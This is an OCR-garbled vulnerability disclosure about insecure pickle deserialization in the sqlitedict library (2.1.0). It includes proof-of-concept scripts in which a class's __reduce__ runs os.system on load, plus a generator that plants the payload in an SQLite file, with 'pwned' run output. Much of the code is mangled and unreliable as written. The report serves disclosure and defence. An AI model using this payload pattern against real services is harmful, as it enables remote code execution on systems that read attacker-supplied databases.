Vulnerability Information

Preface

This vulnerability is tested with the newest sqlitedict library installed with pip

(version 2.1.0), github repo: https://github.com/piskvorky/sqlitedict/

Principle and Proof of Concept

The decode and decode key functions in the library use the loads function in

pickle library (which is well known for its insecure deserialization). If the attacker can

use those functions to load malicious payload (a class defined its own _ reduce

method execute malicious codes), it would probably cause a RCE vulnerability.

The insecure part:

(obj):
"Serialize an object using pickle to a binary format accepted by SQLite.
sqlite3.Binary(dumps(obj, protocol=PICKLE_PROTOCOL))

(obj):
"Deserialize objects retrieved from SQLite.
loads(bytes(obj))

(key):

"Serialize a key using pickle + base64 encoding to text accep
b6s4encode(dumps(key, protocol=PICKLE_PROTOCOL)).decode("

(key):
ialize a key retrieved from SQLite."""
loads(b64decode(key.encode("ascii”)))

A simple PoC for these two functions(test.py):

decode, decode_key
pickle, base64
os

( , cmd):
.cmd=cmd

( ):
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os.system, ( .cmd, )

13 payloadl = pickle.dumps(Payload('echo "decode pw
14 decode(payloadl)

15

16 payload2 = base64.b64encode(pickle.dumps(Payload(
17 decode_key(payload2)

This PoC showed the dangerous of these two functions.

> proof.txt'))).decode()


https://github.com/piskvorky/sqlitedict/

Run result;

python3 test.py
Content of proof.txt:

decode pwned
decode_key pwned

Although the decode and decode key functions probably couldn’t be call
directly, if the attacker can edit/upload/update the sqlite data and the sqlite data can be

opened, there will still be several attack surfaces.

The iteritems, iterkeys, and itervalues functions and the  getitem  method in
the class SqliteDict all call one of the these two functions: decode and decode key.
Additionally, functions like items, keys, value also call the vulnerable
functions/methods above. As a result, this library always has the chance of RCE to

occur while reading sqlite file.

The insecure part:

GET_KEYS = 'SELECT key FROM ORDER BY rowid' % .tablename
key .conn.select(GET_KEYS):
.decode_key(key[0])

):
GET_VALUES = 'SELECT value FROM "%s" ORDER BY rowid' % .tablename
value .conn.select(GET_VALUES):
.decode(value[0])

(self):
GET_ITEMS = 'SELECT key, value FROM "%s" ORDER BY rowid' % .tablename
key, value .conn.select(GET_ITEMS):
.decode_key(key), .decode(value)

..iterkeysij
(self):

.itervalue

.iteritems()

(self, key):
HAS_ITEM = 'SELECT 1 FRO s" WHERE key = ?' % .tablename
.conn.select_one(HAS_ITEM, ( .encode_key(key),))

, key):
GET_ITEM = 'SELECT value FROM WHERE key = 7' % .tablename
item = .conn.select_one(GET_ITEM, ( .encode_key(key),))
item 3
(key)
.decode(item[0])

poc_generator.py

SqliteDict, encode, decode, decode_key
pickle
base64
0s

( , cmd):
.cmd=cmd
' H
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os
os.system, ( .cmd, )

= payioad
17 db.commit()
18 db.close()




This PoC above generated the RCE payload file example.sqlite

poc_open_sql.py

1 SqliteDict
2db=SqliteDict('example.sqlite’)

3 key, item db.items():

4 ("%s=%s" % (key, item))

f=open('proof.txt', 'r')
('Content of proof.txt:')
(f.read())

This PoC is used to read the poisoned example.sqlite file and open the proof for

the RCE result proof.txt

Run result;

[:—( Y959 )-[~/temp/sqlite-dict]
python3 poc_generator.py

[:—( Y59 )-[~/temp/sqlite-dict]

python3 poc_open_sql.py
1={'name': 'whalel20'}
2=0
Content of proof.txt:
pwned by whalel20

Potential triggers for the vulnerability

1. When the service allows users to upload a sqlite file and read it with the
library.

2. When the service has an oob write vulnerability or when users have the
permission to edit files.

3. When the service uses other libraries to manage sql so users can insert/update
databases values

4. When it has vulnerabilities such as sql injection so the database can be edited
with other methods.

5. Based on different ways of using the library, there may be other potential

security risks.



